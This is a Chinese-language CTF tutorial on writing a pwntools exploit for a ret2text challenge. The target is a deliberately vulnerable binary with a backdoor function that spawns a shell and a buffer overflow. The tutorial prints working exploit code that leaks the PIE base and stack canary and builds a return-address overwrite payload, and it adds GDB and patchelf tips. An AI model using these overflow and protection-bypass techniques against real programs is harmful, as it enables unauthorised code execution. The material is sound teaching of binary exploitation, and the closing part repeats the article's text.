从一道pwn题深入理解exp的编写
字数 1058 2025-08-22 12:22:24

深入理解PWN题EXP编写:从ret2text实例出发

1. 前言

本文通过分析一道开启所有保护机制的ret2text例题,全面讲解漏洞利用方法和EXP编写技巧。对于二进制安全初学者来说,理解如何绕过各种保护机制并编写有效的EXP是一个重要挑战。

2. 例题分析

2.1 程序源码

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

void backdoor() {
    puts("this is backdoor.");
    system("/bin/sh");
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    char buf[0x100];
    do {
        puts("please input:");
        read(0, buf, 0x200);
        puts(buf);
    } while (strcmp(buf, "exit") != 0);
    return 0;
}

2.2 漏洞分析

程序存在明显的缓冲区溢出漏洞:

  • buf大小为0x100字节
  • read函数允许读取0x200字节
  • 可以覆盖返回地址控制程序流

2.3 保护机制

程序开启了所有保护机制:

  • Canary:需要泄露和绕过栈保护
  • PIE:需要泄露程序基地址
  • 其他保护机制(如NX、ASLR等)

3. EXP编写详解

3.1 基本框架

#!/usr/bin/python3.8
from pwn import *

elf_path = './test'
elf = ELF(elf_path)
context(arch=elf.arch, os=elf.os, log_level="info")
io = process([elf_path])

3.2 泄露程序基地址

# 发送0xf0字节填充缓冲区
io.sendafter(b'please input:\n', b'a' * 0xf0)
io.recvuntil(b'a' * 0xf0)

# 接收6字节地址并补齐为8字节
__libc_csu_init = (u64(io.recv(6).ljust(8, b'\x00')))
elf.address = __libc_csu_init - 0x12c0
log.info('elf base adress: ' + hex(elf.address))

关键点

  • 只接收6字节而非8字节,因为高地址位通常为0
  • 通过已知偏移计算基地址(本例中偏移为0x12c0)

3.3 获取backdoor地址

backdoor_address = elf.symbols['backdoor']
log.info('backdoor_address: ' + hex(backdoor_address))

3.4 泄露Canary

方法一

io.sendafter(b'please input:\n', b'a' * 0x109)
io.recvuntil(b'a' * 0x109)
canary = u64(io.recv(7).ljust(8, b'\x00')) << 8

方法二

io.sendafter(b'please input:\n', b'a' * 0x108)
io.recvuntil(b'a' * 0x108)
canary = u64(io.recv(8)) - 0x61

关键点

  • Canary以\x00结尾
  • 需要覆盖Canary的\x00才能完整泄露
  • 方法一通过左移8位恢复Canary
  • 方法二通过减去最后一个字节的值恢复Canary

3.5 构造Payload

payload = b'exit'.ljust(0x108, b'\x00') + p64(canary) + b'0' * 8 + p64(backdoor_address + 5)
io.sendafter(b'please input:\n', payload)
io.interactive()

关键点

  1. 发送"exit"终止循环
  2. 填充缓冲区到Canary位置(0x108字节)
  3. 覆盖Canary为泄露的值
  4. 覆盖RBP(8字节任意值)
  5. 覆盖返回地址为backdoor地址+5

为什么backdoor_address+5

  • 64位Ubuntu 18+系统调用system函数需要栈16字节对齐
  • movaps指令要求内存地址必须是16的倍数
  • 跳过push rbp指令(5字节)使栈对齐

4. 调试技巧

4.1 GDB附加调试

gdb.attach(io, 'b *$rebase(0x1281)\n c')
pause()

关键点

  • $rebase在PIE开启时非常有用
  • 可以设置断点并继续执行

4.2 常用调试命令

  • vmmap:查看内存映射
  • canary:查看Canary值
  • cyclic:生成模式字符串定位溢出点

5. 环境配置

5.1 修改动态链接库

patchelf --set-interpreter new_ld_address file_path
patchelf --replace-needed old_libc.so.6 new_libc.so.6 file_path

6. 总结

  1. Canary绕过:通过溢出泄露Canary并在溢出时正确覆盖
  2. PIE绕过:泄露已知函数地址计算基地址
  3. 栈对齐:注意system函数调用时的栈对齐要求
  4. 调试技巧:熟练掌握GDB和插件使用
  5. 细节把控:EXP编写时每个字节都至关重要

通过这道例题,我们学习了如何绕过现代保护机制,并掌握了编写有效EXP的关键技术。在实际漏洞利用中,需要根据具体情况调整策略,但基本原理是相通的。

深入理解PWN题EXP编写:从ret2text实例出发 1. 前言 本文通过分析一道开启所有保护机制的ret2text例题,全面讲解漏洞利用方法和EXP编写技巧。对于二进制安全初学者来说,理解如何绕过各种保护机制并编写有效的EXP是一个重要挑战。 2. 例题分析 2.1 程序源码 2.2 漏洞分析 程序存在明显的缓冲区溢出漏洞: buf 大小为0x100字节 read 函数允许读取0x200字节 可以覆盖返回地址控制程序流 2.3 保护机制 程序开启了所有保护机制: Canary :需要泄露和绕过栈保护 PIE :需要泄露程序基地址 其他保护机制(如NX、ASLR等) 3. EXP编写详解 3.1 基本框架 3.2 泄露程序基地址 关键点 : 只接收6字节而非8字节,因为高地址位通常为0 通过已知偏移计算基地址(本例中偏移为0x12c0) 3.3 获取backdoor地址 3.4 泄露Canary 方法一 : 方法二 : 关键点 : Canary以 \x00 结尾 需要覆盖Canary的 \x00 才能完整泄露 方法一通过左移8位恢复Canary 方法二通过减去最后一个字节的值恢复Canary 3.5 构造Payload 关键点 : 发送"exit"终止循环 填充缓冲区到Canary位置(0x108字节) 覆盖Canary为泄露的值 覆盖RBP(8字节任意值) 覆盖返回地址为backdoor地址+5 为什么backdoor_ address+5 : 64位Ubuntu 18+系统调用system函数需要栈16字节对齐 movaps 指令要求内存地址必须是16的倍数 跳过 push rbp 指令(5字节)使栈对齐 4. 调试技巧 4.1 GDB附加调试 关键点 : $rebase 在PIE开启时非常有用 可以设置断点并继续执行 4.2 常用调试命令 vmmap :查看内存映射 canary :查看Canary值 cyclic :生成模式字符串定位溢出点 5. 环境配置 5.1 修改动态链接库 6. 总结 Canary绕过 :通过溢出泄露Canary并在溢出时正确覆盖 PIE绕过 :泄露已知函数地址计算基地址 栈对齐 :注意system函数调用时的栈对齐要求 调试技巧 :熟练掌握GDB和插件使用 细节把控 :EXP编写时每个字节都至关重要 通过这道例题,我们学习了如何绕过现代保护机制,并掌握了编写有效EXP的关键技术。在实际漏洞利用中,需要根据具体情况调整策略,但基本原理是相通的。